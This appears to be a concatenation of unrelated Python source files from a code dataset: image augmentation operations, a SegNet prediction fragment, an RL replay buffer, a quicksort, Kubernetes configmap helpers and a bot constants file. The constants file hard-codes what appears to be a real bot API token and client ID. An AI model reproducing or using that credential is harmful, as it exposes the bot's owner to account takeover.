model.predict(crop, verbose=2)\n pred = model.predict_proba(crop, verbose=2)\n pred = np.argmax(pred,axis=2) #for one hot encoding\n\n pred = pred.reshape(256, 256)\n print(np.unique(pred))\n\n\n mask_whole[i * stride:i * stride + window_size, j * stride:j * stride + window_size] = pred[:, :]\n\n # outputresult = mask_whole[0:h, 0:w] * 255.0\n outputresult =mask_whole[0:h,0:w]\n # outputresult = outputresult.astype(np.uint8)\n\n\n plt.imshow(outputresult, cmap='gray')\n plt.title(\"Original predicted result\")\n plt.show()\n cv2.imwrite('../../data//predict/segnet/test_onehotmult.png',outputresult*125)\n return outputresult\n\n\nif __name__ =='__main__':\n\n if not os.path.isdir(train_data_path):\n print(\"train data does not exist in the path:\\n {}\".format(train_data_path))\n\n segnet_train()\n\n # print(\"test ....................predict by segnet .....\\n\")\n # img_path = '../../data/test/11.png'\n # import sys\n #\n # if not os.path.isfile(img_path):\n # print(\"no file: {}\".forma(img_path))\n # sys.exit(-1)\n #\n # input_img = cv2.imread(img_path)\n # input_img = np.array(input_img, dtype=\"float\") / 255.0 # must do it\n #\n # new_model = load_model(model_save_path)\n #\n # segnet_predict(input_img, new_model)\n","sub_path":"temp/segnet_train_multiclass.py","file_name":"segnet_train_multiclass.py","file_ext":"py","file_size_in_byte":12553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"17731997","text":"from __future__ import (absolute_import, division,\n print_function, unicode_literals)\nfrom builtins import *\n\nfrom PIL import Image, ImageOps\nfrom ImageUtilities import extract_paths_and_extensions\nfrom math import floor, ceil\nfrom skimage import util\nimport os\nimport random\nimport numpy as np\n\n# Python 2-3 compatibility - not currently needed.\n# try:\n# from StringIO import StringIO\n# except ImportError:\n# from io import StringIO\n\n\nclass Operation(object):\n \"\"\"\n The class :class:`Operation` represents the Base class for all operations\n that can be performed. Inherit from :class:`Operation`, overload its\n methods, and instantiate super to create a new operation.\n \"\"\"\n def __init__(self, probability):\n self.probability = probability\n\n def __str__(self):\n return self.__class__.__name__\n\n def perform_operation(self, image):\n raise NotImplementedError(\"Illegal call to base class.\")\n\n @staticmethod\n def extract_paths_and_extensions(image_path):\n file_name, extension = os.path.splitext(image_path)\n root_path = os.path.dirname(image_path)\n\n return file_name, extension, root_path\n\n\nclass HistogramEqualisation(Operation):\n def __init__(self, probability):\n Operation.__init__(self, probability)\n\n # TODO: We may need to apply this to each channel:\n # This might be a color image.\n # The histogram will be computed on the flattened image.\n # You can instead apply this function to each color channel.\n # with warnings.catch_warnings():\n # warnings.simplefilter(\"ignore\")\n def perform_operation(self, image):\n return ImageOps.equalize(image)\n\n\nclass Greyscale(Operation):\n def __init__(self, probability):\n Operation.__init__(self, probability)\n\n def perform_operation(self, image):\n return ImageOps.grayscale(image)\n\n\nclass Invert(Operation):\n def __init__(self, probability):\n Operation.__init__(self, probability)\n\n def perform_operation(self, image):\n return ImageOps.invert(image)\n\n\nclass BlackAndWhite(Operation):\n def __init__(self, probability):\n Operation.__init__(self, probability)\n\n def perform_operation(self, image):\n # TODO: Currently this has been taken from URL below, needs to be changed anyway.\n # http://stackoverflow.com/questions/18777873/convert-rgb-to-black-or-white\n image = ImageOps.grayscale(image)\n image = image.point(lambda x: 0 if x < 128 else 255, '1')\n return image\n\n\nclass Shear(Operation):\n def __init__(self, probability, angle):\n Operation.__init__(self, probability)\n self.angle = angle\n\n def perform_operation(self, image):\n pass\n\n\nclass Rotate(Operation):\n def __init__(self, probability, rotation):\n Operation.__init__(self, probability)\n self.rotation = rotation\n\n def __str__(self):\n return \"Rotate \" + str(self.rotation)\n\n def perform_operation(self, image):\n if self.rotation == -1:\n random_factor = random.randint(1, 3)\n return image.rotate(90 * random_factor, expand=True)\n else:\n return image.rotate(self.rotation, expand=True) # TODO: We are gonna have to check for 90 and 270 deg rots\n\n\nclass RotateRange(Operation):\n def __init__(self, probability, rotate_range):\n Operation.__init__(self, probability)\n self.max_left_rotation = -abs(rotate_range[0]) # Ensure always negative\n self.max_right_rotation = abs(rotate_range[1]) # Ensure always positive\n\n def perform_operation(self, image):\n # This may be of use: http://stackoverflow.com/questions/34747946/rotating-a-square-in-pil\n random_left = random.randint(self.max_left_rotation, -1)\n random_right = random.randint(1, self.max_right_rotation)\n\n left_or_right = random.randint(0, 1)\n\n if left_or_right == 0:\n return image.rotate(random_left)\n elif left_or_right == 1:\n return image.rotate(random_right)\n\n\nclass Resize(Operation):\n def __init__(self, probability, width, height, resample_filter):\n Operation.__init__(self, probability)\n self.width = width\n self.height = height\n self.resample_filter = resample_filter\n\n def perform_operation(self, image):\n # TODO: Automatically change this to ANTIALIAS or BICUBIC depending on the size of the file\n return image.resize((self.width, self.height), eval(\"Image.%s\" % self.resample_filter))\n\n\nclass Flip(Operation):\n def __init__(self, probability, top_bottom_left_right):\n Operation.__init__(self, probability)\n self.top_bottom_left_right = top_bottom_left_right\n\n def perform_operation(self, image):\n if self.top_bottom_left_right == \"LEFT_RIGHT\":\n return image.transpose(Image.FLIP_LEFT_RIGHT)\n elif self.top_bottom_left_right == \"TOP_BOTTOM\":\n return image.transpose(Image.FLIP_TOP_BOTTOM)\n elif self.top_bottom_left_right == \"RANDOM\":\n random_axis = random.randint(0, 1)\n if random_axis == 0:\n return image.transpose(Image.FLIP_LEFT_RIGHT)\n elif random_axis == 1:\n return image.transpose(Image.FLIP_TOP_BOTTOM)\n\n\nclass Crop(Operation):\n def __init__(self, probability, width, height, centred):\n Operation.__init__(self, probability)\n self.width = width\n self.height = height\n self.centred = centred\n\n def perform_operation(self, image):\n new_width = self.width / 2.\n new_height = self.height / 2.\n\n half_the_width = image.size[0] / 2\n half_the_height = image.size[1] / 2\n\n return image.crop(\n (\n half_the_width - ceil(new_width),\n half_the_height - ceil(new_height),\n half_the_width + floor(new_width),\n half_the_height + floor(new_height)\n )\n )\n\n\nclass CropPercentage(Operation):\n def __init__(self, probability, percentage_area, centre):\n Operation.__init__(self, probability)\n self.percentage_area = percentage_area\n self.centre = centre\n\n def perform_operation(self, image):\n w, h = image.size\n w_new = int(floor(w * self.percentage_area)) # TODO: Floor might return 0, so we need to check this.\n h_new = int(floor(h * self.percentage_area))\n\n if self.centre:\n left_shift = floor(w_new / 2.)\n down_shift = floor(h_new / 2.)\n return image.crop((left_shift, down_shift, w_new + left_shift, h_new + down_shift))\n else:\n random_left_shift = random.randint(0, (w - w_new)) # Note: randint() is from uniform distribution.\n random_down_shift = random.randint(0, (h - h_new))\n return image.crop((random_left_shift, random_down_shift, w_new + random_left_shift, h_new + random_down_shift))\n\n\nclass CropRandom(Operation):\n def __init__(self, probability, percentage_area):\n Operation.__init__(self, probability)\n self.percentage_area = percentage_area\n\n def perform_operation(self, image):\n w, h = image.size\n\n # TODO: Fix this, as it is currently 1/4 of the area for 0.5 rather than 1/2.\n w_new = int(floor(w * self.percentage_area)) # TODO: Floor might return 0, so we need to check this.\n h_new = int(floor(h * self.percentage_area))\n\n random_left_shift = random.randint(0, (w - w_new)) # Note: randint() is from uniform distribution.\n random_down_shift = random.randint(0, (h - h_new))\n\n return image.crop((random_left_shift, random_down_shift, w_new + random_left_shift, h_new + random_down_shift))\n\n\nclass Skew(Operation):\n def __init__(self, probability, max_skew_left, max_skew_right):\n Operation.__init__(self, probability)\n self.max_skew_left = max_skew_left\n self.max_skew_right = max_skew_right\n\n def perform_operation(self, image):\n pass\n\n\nclass Scale(Operation):\n \"\"\"\n Class to increase or decrease images by a certain factor. The ``Resize`` class handles images \\\n that need to be re-sized with different **dimensions**, which may not maintain aspect ratio.\n \"\"\"\n def __init__(self, probability, scale_factor):\n Operation.__init__(self, probability)\n self.scale_factor = scale_factor\n\n # Resize by a certain factor (*not* dimensions - which would uniformly resize all\n # images to X*Y while scale depends on the size of the input)\n def perform_operation(self, image):\n h, w = image.size\n new_h = h * int(floor(self.scale_factor))\n new_w = w * int(floor(self.scale_factor))\n return image.resize((new_w, new_h))\n\n\nclass Distort(Operation):\n def __init__(self, probability, grid_width, grid_height, sigma, randomise_magnitude):\n Operation.__init__(self, probability)\n self.grid_width = grid_width\n self.grid_height = grid_height\n self.sigma = abs(sigma)\n randomise_magnitude = True # TODO: Fix code below to handle FALSE state.\n self.randomise_magnitude = randomise_magnitude\n\n def perform_operation(self, image):\n\n w, h = image.size\n\n horizontal_tiles = self.grid_width\n vertical_tiles = self.grid_height\n\n width_of_square = int(floor(w / float(horizontal_tiles)))\n height_of_square = int(floor(h / float(vertical_tiles)))\n\n width_of_last_square = w - (width_of_square * (horizontal_tiles - 1))\n height_of_last_square = h - (height_of_square * (vertical_tiles - 1))\n\n dimensions = []\n\n for vertical_tile in range(vertical_tiles):\n for horizontal_tile in range(horizontal_tiles):\n if vertical_tile == (vertical_tiles - 1) and horizontal_tile == (horizontal_tiles - 1):\n dimensions.append([horizontal_tile * width_of_square,\n vertical_tile * height_of_square,\n width_of_last_square + (horizontal_tile * width_of_square),\n height_of_last_square + (height_of_square * vertical_tile)])\n elif vertical_tile == (vertical_tiles - 1):\n dimensions.append([horizontal_tile * width_of_square,\n vertical_tile * height_of_square,\n width_of_square + (horizontal_tile * width_of_square),\n height_of_last_square + (height_of_square * vertical_tile)])\n elif horizontal_tile == (horizontal_tiles - 1):\n dimensions.append([horizontal_tile * width_of_square,\n vertical_tile * height_of_square,\n width_of_last_square + (horizontal_tile * width_of_square),\n height_of_square + (height_of_square * vertical_tile)])\n else:\n dimensions.append([horizontal_tile * width_of_square,\n vertical_tile * height_of_square,\n width_of_square + (horizontal_tile * width_of_square),\n height_of_square + (height_of_square * vertical_tile)])\n\n # For loop that generates polygons could be rewritten, but maybe harder to read?\n # polygons = [x1,y1, x1,y2, x2,y2, x2,y1 for x1,y1, x2,y2 in dimensions]\n\n # last_column = [(horizontal_tiles - 1) + horizontal_tiles * i for i in range(vertical_tiles)]\n last_column = []\n for i in range(vertical_tiles):\n last_column.append((horizontal_tiles-1)+horizontal_tiles*i)\n\n last_row = range((horizontal_tiles * vertical_tiles) - horizontal_tiles, horizontal_tiles * vertical_tiles)\n\n polygons = []\n for x1, y1, x2, y2 in dimensions:\n polygons.append([x1, y1, x1, y2, x2, y2, x2, y1])\n\n polygon_indices = []\n for i in range((vertical_tiles * horizontal_tiles) - 1):\n if i not in last_row and i not in last_column:\n polygon_indices.append([i, i + 1, i + horizontal_tiles, i + 1 + horizontal_tiles])\n\n for a, b, c, d in polygon_indices:\n dx = random.randint(-self.sigma, self.sigma)\n dy = random.randint(-self.sigma, self.sigma)\n\n x1, y1, x2, y2, x3, y3, x4, y4 = polygons[a]\n polygons[a] = [x1, y1,\n x2, y2,\n x3 + dx, y3 + dy,\n x4, y4]\n\n x1, y1, x2, y2, x3, y3, x4, y4 = polygons[b]\n polygons[b] = [x1, y1,\n x2 + dx, y2 + dy,\n x3, y3,\n x4, y4]\n\n x1, y1, x2, y2, x3, y3, x4, y4 = polygons[c]\n polygons[c] = [x1, y1,\n x2, y2,\n x3, y3,\n x4 + dx, y4 + dy]\n\n x1, y1, x2, y2, x3, y3, x4, y4 = polygons[d]\n polygons[d] = [x1 + dx, y1 + dy,\n x2, y2,\n x3, y3,\n x4, y4]\n\n generated_mesh = []\n for i in range(len(dimensions)):\n generated_mesh.append([dimensions[i], polygons[i]])\n\n return image.transform(image.size, Image.MESH, generated_mesh, resample=Image.LINEAR)\n\n\nclass Zoom(Operation):\n # TODO: Zoom dimensions and do not crop, so that the crop can be applied manually later\n def __init__(self, probability, min_factor, max_factor):\n Operation.__init__(self, probability)\n self.min_factor = min_factor\n self.max_factor = max_factor\n\n def perform_operation(self, image):\n factor = round(random.uniform(self.min_factor, self.max_factor), 2)\n original_width, original_height = image.size\n # TODO: Join these two functions together so that we don't have this image_zoom variable lying around.\n image_zoomed = image.resize((int(round(image.size[0] * factor)), int(round(image.size[1] * factor))))\n\n # Return the centre of the zoomed image, so that it is the same dimensions as the original image\n half_the_width = image_zoomed.size[0] / 2\n half_the_height = image_zoomed.size[1] / 2\n return image_zoomed.crop(\n (\n half_the_width - ceil((original_width / 2.)),\n half_the_height - ceil((original_height / 2.)),\n half_the_width + floor((original_width / 2.)),\n half_the_height + floor((original_height / 2.))\n )\n )\n\n\nclass Custom(Operation):\n \"\"\"\n Class that allows for a custom operation to be performed.\n \"\"\"\n def __init__(self, probability, custom_function, **function_arguments):\n \"\"\"\n Creates a custom operation that can be added to a pipeline.\n\n To add a custom operation you can instantiate this class, passing\n a function pointer, :attr:`custom_function`, followed by an\n arbitrarily long list keyword arguments, :attr:`**function_arguments`.\n\n .. seealso:: The :func:`~Augmentor.Pipeline.Pipeline.add_operation`\n function.\n\n :param probability: The probability that the operation will be\n performed.\n :param custom_function: The name of the function that performs your\n custom code. Must return an Image object and accept an Image object\n as its first parameter.\n :param function_arguments: The arguments for your custom operation's\n code.\n :type probability: Float\n :type custom_function: *Function\n :type function_arguments: dict\n \"\"\"\n Operation.__init__(self, probability)\n self.custom_function = custom_function\n self.function_arguments = function_arguments\n # TODO: find the names of the argument types above, is that a function pointer???\n\n def __str__(self):\n return \"Custom (\" + self.custom_function.__name__ + \")\"\n\n def perform_operation(self, image):\n return self.function_name(image, **self.function_arguments)\n\n\nclass NoiseGaussian(Operation):\n def __init__(self, probability, minMean, maxMean, minVar, maxVar):\n Operation.__init__(self, probability)\n\n # if the user gives the parameters in wrong order\n\n if minMean>maxMean:\n temp = maxMean\n maxMean = minMean\n minMean = temp\n if minVar>maxVar:\n temp = maxVar\n maxVar = minVar\n minVar = temp\n\n self.minMean = minMean\n self.maxMean = maxMean\n self.minVar = minVar\n self.maxVar = maxVar\n\n def perform_operation(self, image):\n\n return util.random_noise(image, mode=\"gaussian\", clip=True, mean=random.uniform(self.minMean, self.maxMean), var=random.uniform(self.minVar, self.maxVar))\n\n\nclass NoiseSpeckle(Operation):\n def __init__(self, probability, minMean, maxMean, minVar, maxVar):\n Operation.__init__(self, probability)\n\n # if the user gives the parameters in wrong order\n\n if minMean>maxMean:\n temp = maxMean\n maxMean = minMean\n minMean = temp\n if minVar>maxVar:\n temp = maxVar\n maxVar = minVar\n minVar = temp\n\n self.minMean = minMean\n self.maxMean = maxMean\n self.minVar = minVar\n self.maxVar = maxVar\n\n def perform_operation(self, image):\n\n return util.random_noise(image, mode=\"speckle\", clip=True, mean=random.uniform(self.minMean, self.maxMean), var=random.uniform(self.minVar, self.maxVar))\n\nclass NoisePoisson(Operation):\n\n def __init__(self, probability, minMean, maxMean):\n Operation.__init__(self, probability)\n\n # if the user gives the parameters in wrong order\n\n if minMean>maxMean:\n temp = maxMean\n maxMean = minMean\n minMean = temp\n\n self.minMean = minMean\n self.maxMean = maxMean\n\n def perform_operation(self, image):\n image_transformed = np.add(image, np.random.poisson(random.uniform(self.minMean, self.maxMean),\n size=(image.shape[0], image.shape[1], image.shape[2])))\n return np.subtract(image_transformed,np.min(image_transformed))/np.max(image_transformed)\n\nclass NoiseSaltPepper(Operation):\n # amount of salt is a random number percentage between minSaltPercentage and maxSaltPercentage\n # the pepper amount is 1.0 minus that random number\n def __init__(self, probability, minSaltPercentage, maxSaltPercentage):\n Operation.__init__(self, probability)\n\n # if the user gives the parameters in wrong order\n\n if minSaltPercentage>maxSaltPercentage:\n temp = maxSaltPercentage\n maxSaltPercentage = minSaltPercentage\n minSaltPercentage = temp\n\n self.minSaltPercentage = minSaltPercentage\n self.maxSaltPercentage = maxSaltPercentage\n def perform_operation(self, image):\n\n return util.random_noise(image, mode=\"s&p\", clip=True, salt_vs_pepper=random.uniform(self.minSaltPercentage, self.maxSaltPercentage))\n\n","sub_path":"Augmentor/Operations.py","file_name":"Operations.py","file_ext":"py","file_size_in_byte":19256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"210709705","text":"from utils import topics, PubSub\nfrom coroutines import Base\n\n\nclass SteamControlSignal(Base):\n def __init__(self, hub, default_setpoint=139.5, default_delta=.5):\n super().__init__(hub)\n\n self.define_ivar(\"setpoint\", topics.TOPIC_STEAM_TEMPERATURE_SET_POINT, default_setpoint, True)\n self.define_ivar(\"delta\", topics.TOPIC_STEAM_TEMPERATURE_DELTA, default_delta, True)\n\n async def update_steam_control(self):\n with PubSub.Subscription(self.hub, topics.TOPIC_AVERAGE_BOILER_TEMPERATURE) as queue:\n while True:\n avgtemp = await queue.get()\n\n high_temp = self.setpoint + self.delta\n low_temp = self.setpoint - self.delta\n\n if avgtemp < low_temp:\n self.hub.publish(topics.TOPIC_STEAM_HE_ON, True)\n if avgtemp > high_temp:\n self.hub.publish(topics.TOPIC_STEAM_HE_ON, False)\n\n def futures(self, loop):\n return [*super(SteamControlSignal, self).futures(loop), self.update_steam_control()]","sub_path":"coroutines/SteamControlSignal.py","file_name":"SteamControlSignal.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"63535783","text":"\"\"\"Script containing the HierReplayBuffer object.\"\"\"\nimport random\nimport numpy as np\n\nfrom hbaselines.fcnet.replay_buffer import ReplayBuffer\n\n\nclass HierReplayBuffer(ReplayBuffer):\n \"\"\"Hierarchical variant of ReplayBuffer.\"\"\"\n\n def __init__(self,\n buffer_size,\n batch_size,\n meta_period,\n meta_obs_dim,\n meta_ac_dim,\n worker_obs_dim,\n worker_ac_dim):\n \"\"\"Instantiate the hierarchical replay buffer.\n\n Parameters\n ----------\n buffer_size : int\n Max number of transitions to store in the buffer. When the buffer\n overflows the old memories are dropped.\n batch_size : int\n number of elements that are to be returned as a batch\n meta_obs_dim : int\n number of elements in the Manager observations\n meta_ac_dim : int\n number of elements in the Manager actions\n worker_obs_dim : int\n number of elements in the Worker observations\n worker_ac_dim : int\n number of elements in the Worker actions\n \"\"\"\n super(HierReplayBuffer, self).__init__(\n buffer_size, batch_size, worker_obs_dim, worker_ac_dim)\n\n self._meta_period = meta_period\n self._worker_ob_dim = worker_obs_dim\n self._worker_ac_dim = worker_ac_dim\n\n # Used to store buffer data.\n self._storage = [None for _ in range(buffer_size)]\n\n # Variables that are used when returning samples\n self.meta_obs0 = np.zeros(\n (batch_size, meta_obs_dim), dtype=np.float32)\n self.meta_obs1 = np.zeros(\n (batch_size, meta_obs_dim), dtype=np.float32)\n self.meta_act = np.zeros(\n (batch_size, meta_ac_dim), dtype=np.float32)\n self.meta_rew = np.zeros(\n batch_size, dtype=np.float32)\n self.meta_done = np.zeros(\n batch_size, dtype=np.float32)\n self.worker_obs0 = np.zeros(\n (batch_size, worker_obs_dim), dtype=np.float32)\n self.worker_obs1 = np.zeros(\n (batch_size, worker_obs_dim), dtype=np.float32)\n self.worker_act = np.zeros(\n (batch_size, worker_ac_dim), dtype=np.float32)\n self.worker_rew = np.zeros(\n batch_size, dtype=np.float32)\n self.worker_done = np.zeros(\n batch_size, dtype=np.float32)\n\n def add(self, obs_t, goal_t, action_t, reward_t, done, **kwargs):\n \"\"\"Add a new transition to the buffer.\n\n Parameters\n ----------\n obs_t : array_like\n list of all worker observations for a given meta period\n action_t : array_like\n list of all worker actions for a given meta period\n goal_t : array_like\n the meta action\n reward_t : list of float\n list of all worker rewards for a given meta period\n done : list of float or list of bool\n list of done masks\n kwargs : Any\n additional parameters, including:\n\n * meta_obs_t: a tuple of the manager observation and next\n observation\n * meta_reward_t: the reward of the manager\n \"\"\"\n # Store the manager samples, then the worker samples.\n data = (kwargs[\"meta_obs_t\"], goal_t, kwargs[\"meta_reward_t\"],\n obs_t, action_t, reward_t, done)\n\n # Add the element to the list. If the list is already the max size of\n # the replay buffer, then replace the oldest sample with this one.\n self._storage[self._next_idx] = data\n\n # Increment the next index and size terms\n self._next_idx = (self._next_idx + 1) % self._maxsize\n self._size = min(self._size + 1, self._maxsize)\n\n def _encode_sample(self, idxes, **kwargs):\n \"\"\"Return a sample from the replay buffer based on indices.\n\n Parameters\n ----------\n idxes : list of int\n list of random indices\n kwargs : dict\n additional parameters, including:\n\n * with_additional (bool): specifies whether to remove additional\n data from the replay buffer sampling procedure. Since only a\n subset of algorithms use additional data, removing it can speedup\n the other algorithms.\n\n Returns\n -------\n numpy.ndarray\n (batch_size, meta_obs) matrix of meta observations\n numpy.ndarray\n (batch_size, meta_obs) matrix of next meta-period meta observations\n numpy.ndarray\n (batch_size, meta_ac) matrix of meta actions\n numpy.ndarray\n (batch_size,) vector of meta rewards\n numpy.ndarray\n (batch_size,) vector of meta done masks\n numpy.ndarray\n (batch_size, worker_obs) matrix of worker observations\n numpy.ndarray\n (batch_size, worker_obs) matrix of next step worker observations\n numpy.ndarray\n (batch_size, worker_ac) matrix of worker actions\n numpy.ndarray\n (batch_size,) vector of worker rewards\n numpy.ndarray\n (batch_size,) vector of worker done masks\n dict\n additional information; used for features such as the off-policy\n corrections or centralized value functions\n \"\"\"\n # Do not encode additional information information in samples if it is\n # not needed. Waste of compute resources.\n if kwargs.get(\"with_additional\", True):\n additional = {\n \"worker_obses\": np.zeros(\n (self._batch_size, self._worker_ob_dim,\n self._meta_period + 1),\n dtype=np.float32),\n \"worker_actions\": np.zeros(\n (self._batch_size, self._worker_ac_dim, self._meta_period),\n dtype=np.float32),\n }\n else:\n additional = None\n\n for i, indx in enumerate(idxes):\n # Extract the elements of the sample.\n meta_obs, meta_action, meta_reward, worker_obses, worker_actions, \\\n worker_rewards, worker_dones = self._storage[indx]\n\n # Separate the current and next step meta observations.\n meta_obs0, meta_obs1 = meta_obs\n\n # The meta done value corresponds to the last done value.\n meta_done = worker_dones[-1]\n\n # Sample one obs0/obs1/action/reward from the list of per-meta-\n # period variables.\n indx_val = random.randint(0, len(worker_obses)-2)\n worker_obs0 = worker_obses[indx_val]\n worker_obs1 = worker_obses[indx_val + 1]\n worker_action = worker_actions[indx_val]\n worker_reward = worker_rewards[indx_val]\n worker_done = 0 # see docstring\n\n # Add the new sample to the list of returned samples.\n self.meta_obs0[i, :] = np.array(meta_obs0, copy=False)\n self.meta_obs1[i, :] = np.array(meta_obs1, copy=False)\n self.meta_act[i, :] = np.array(meta_action, copy=False)\n self.meta_rew[i] = np.array(meta_reward, copy=False)\n self.meta_done[i] = np.array(meta_done, copy=False)\n self.worker_obs0[i, :] = np.array(worker_obs0, copy=False)\n self.worker_obs1[i, :] = np.array(worker_obs1, copy=False)\n self.worker_act[i, :] = np.array(worker_action, copy=False)\n self.worker_rew[i] = np.array(worker_reward, copy=False)\n self.worker_done[i] = np.array(worker_done, copy=False)\n\n if kwargs.get(\"with_additional\", True):\n for j in range(len(worker_obses)):\n additional[\"worker_obses\"][i, :, j] = worker_obses[j]\n for j in range(len(worker_actions)):\n additional[\"worker_actions\"][i, :, j] = worker_actions[j]\n\n return self.meta_obs0, \\\n self.meta_obs1, \\\n self.meta_act, \\\n self.meta_rew, \\\n self.meta_done, \\\n self.worker_obs0, \\\n self.worker_obs1, \\\n self.worker_act, \\\n self.worker_rew, \\\n self.worker_done, \\\n additional\n","sub_path":"hbaselines/goal_conditioned/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":8255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"604759159","text":"\nclass fViewInfrastruktur:\n\n def __init__(self,parentForm,FormObj):\n self.form = parentForm\n self.app = parentForm.ClientApplication\n self.oPrint = self.app.GetClientClass('PrintLib','PrintLib')()\n\n def RefreshPage(self):\n key ='PObj:Infrastructure#InfrastructureId=%s' % self.uipart.InfrastructureId\n params = self.app.CreateValues(['key',key])\n self.FormObject.SetDataWithParameters(params)\n self.FormContainer.Show()\n\n def EditTools(self, key, ubah):\n app = self.app\n ph = app.CreateValues(['key', key])\n frm = app.CreateForm('infrastruktur/'+ubah, ubah, 0, ph, None)\n frm.FormContainer.Show()\n \n self.RefreshPage()\n\n def CetakClick(self,sender):\n app = self.app\n\n self.FormObject.CommitBuffer()\n param = self.FormObject.GetDataPacket()\n resp = self.FormObject.CallServerMethod('CetakAsset',param)\n\n status = resp.FirstRecord\n if status.IsErr :\n app.ShowMessage(status.ErrMessage)\n return\n\n oPrint = app.GetClientClass('PrintLib','PrintLib')()\n oPrint.doProcessByStreamName(self.app,resp.packet,'perlengkapan',0)\n\n\n","sub_path":"dialogs/infrastruktur/fViewInfrastruktur_intr.py","file_name":"fViewInfrastruktur_intr.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"499304282","text":"# https://interactivepython.org/runestone/static/pythonds/SortSearch/TheQuickSort.html\n# chapter 5.12 The Quick Sort\n\ndef quickSort(alist):\n quickSortHelper(alist,0,len(alist)-1)\n\ndef quickSortHelper(alist,first,last):\n if first= leftm and rightmvalue >= pivotvalue \n while rightmark >= leftmark and alist[rightmark] >= pivotvalue:\n rightmark = rightmark -1 # decrement rightmark\n\n if rightmark < leftmark: # when leftm and rightm switch, we're done\n done = True\n\n else: # when items are 'out of place', switch them\n alist[leftmark], alist[rightmark] = alist[rightmark], alist[leftmark]\n\n # switch pivot with rightmark (where the split point is) \n alist[first], alist[rightmark] = alist[rightmark], alist[first]\n return rightmark # the split point\n\nalist = [54,26,93,17,77,31,44,55,20]\nquickSort(alist)\nprint(alist)\n\n\n","sub_path":"MillerRanum/quickSort.py","file_name":"quickSort.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"616050361","text":"import os\n\n\nAPI_TOKEN = 'MjE0Mzg0NjIwMjE5NjYyMzQ4.C7WVMQ.yTvs-oSeOvQlFuTN5iLxNNj5mV4'\n\"\"\"The API token used to connect to the server.\"\"\"\n\n\nCLIENT_ID = '214384620219662348'\n\"\"\"The ID used to invite the bot to a server.\"\"\"\n\n\nAPP_BASE_DIR = os.path.join(os.path.expanduser('~'), '.dicebot')\n\"\"\"Name of the base directory for this bot's data.\"\"\"\n\n\nLOG_DIR = os.path.join(APP_BASE_DIR, 'logs')\n\"\"\"Name of the directory storing the bot's logs.\"\"\"\n\n\nDATA_DIR = os.path.join(APP_BASE_DIR, 'data')\n\"\"\"Name of the directory storing the bot's data.\"\"\"\n","sub_path":"src/constants/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"582252199","text":"# Copyright (c) Microsoft Corporation\n# All rights reserved.\n#\n# MIT License\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n# documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and\n# to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING\n# BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport time\nimport errno\nimport logging\nimport logging.config\n\nfrom pprint import pprint\n\nimport kubernetes.client\nfrom kubernetes.client.rest import ApiException\nfrom kubernetes import client, config, watch\n\n\nlogger = logging.getLogger(__name__)\n\n\n\ndef get_subdirectory_list(path):\n\n return next(os.walk(path))[1]\n\n\n\ndef create_path(path):\n\n if not os.path.exists(\"{0}\".format(path)):\n try:\n os.makedirs(path)\n\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n logger.warning(\"Failed to create path {0}, due to that the path exists.\".format(path))\n else:\n sys.exit(1)\n\n\n\ndef read_file_from_path(file_path):\n\n with open(file_path, \"r\") as fin:\n file_data = fin.read().decode('utf-8')\n\n return file_data\n\n\n\ndef write_generated_file(generated_file, file_path):\n\n with open(file_path, \"w+\") as fout:\n fout.write(generated_file)\n\n\n\ndef get_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, name, namespace = \"default\"):\n\n config.load_kube_config(config_file=PAI_KUBE_CONFIG_DEFAULT_LOCATION)\n api_instance = kubernetes.client.CoreV1Api()\n exact = True\n export = True\n\n target_configmap_data = None\n target_configmap_metadata = None\n\n try:\n api_response = api_instance.read_namespaced_config_map(name, namespace, exact=exact, export=export)\n target_configmap_data = api_response.data\n target_configmap_metadata = api_response.metadata\n\n except ApiException as e:\n if e.status == 404:\n logger.info(\"Couldn't find configmap named {0}\".format(name))\n return None\n else:\n logger.error(\"Exception when calling CoreV1Api->read_namespaced_config_map: {0}\".format(str(e)))\n sys.exit(1)\n\n ret = {\n \"metadata\" : target_configmap_metadata,\n \"data\" : target_configmap_data\n }\n\n return ret\n\n\n\ndef update_configmap(PAI_KUBE_CONFIG_DEFAULT_LOCATION, name, data_dict, namespace = \"default\"):\n\n config.load_kube_config(config_file=PAI_KUBE_CONFIG_DEFAULT_LOCATION)\n api_instance = kubernetes.client.CoreV1Api()\n\n meta_data = kubernetes.client.V1ObjectMeta()\n meta_data.namespace = namespace\n meta_data.name = name\n body = kubernetes.client.V1ConfigMap(\n metadata = meta_data,\n data = data_dict)\n\n try:\n api_response = api_instance.replace_namespaced_config_map(name, namespace, body)\n 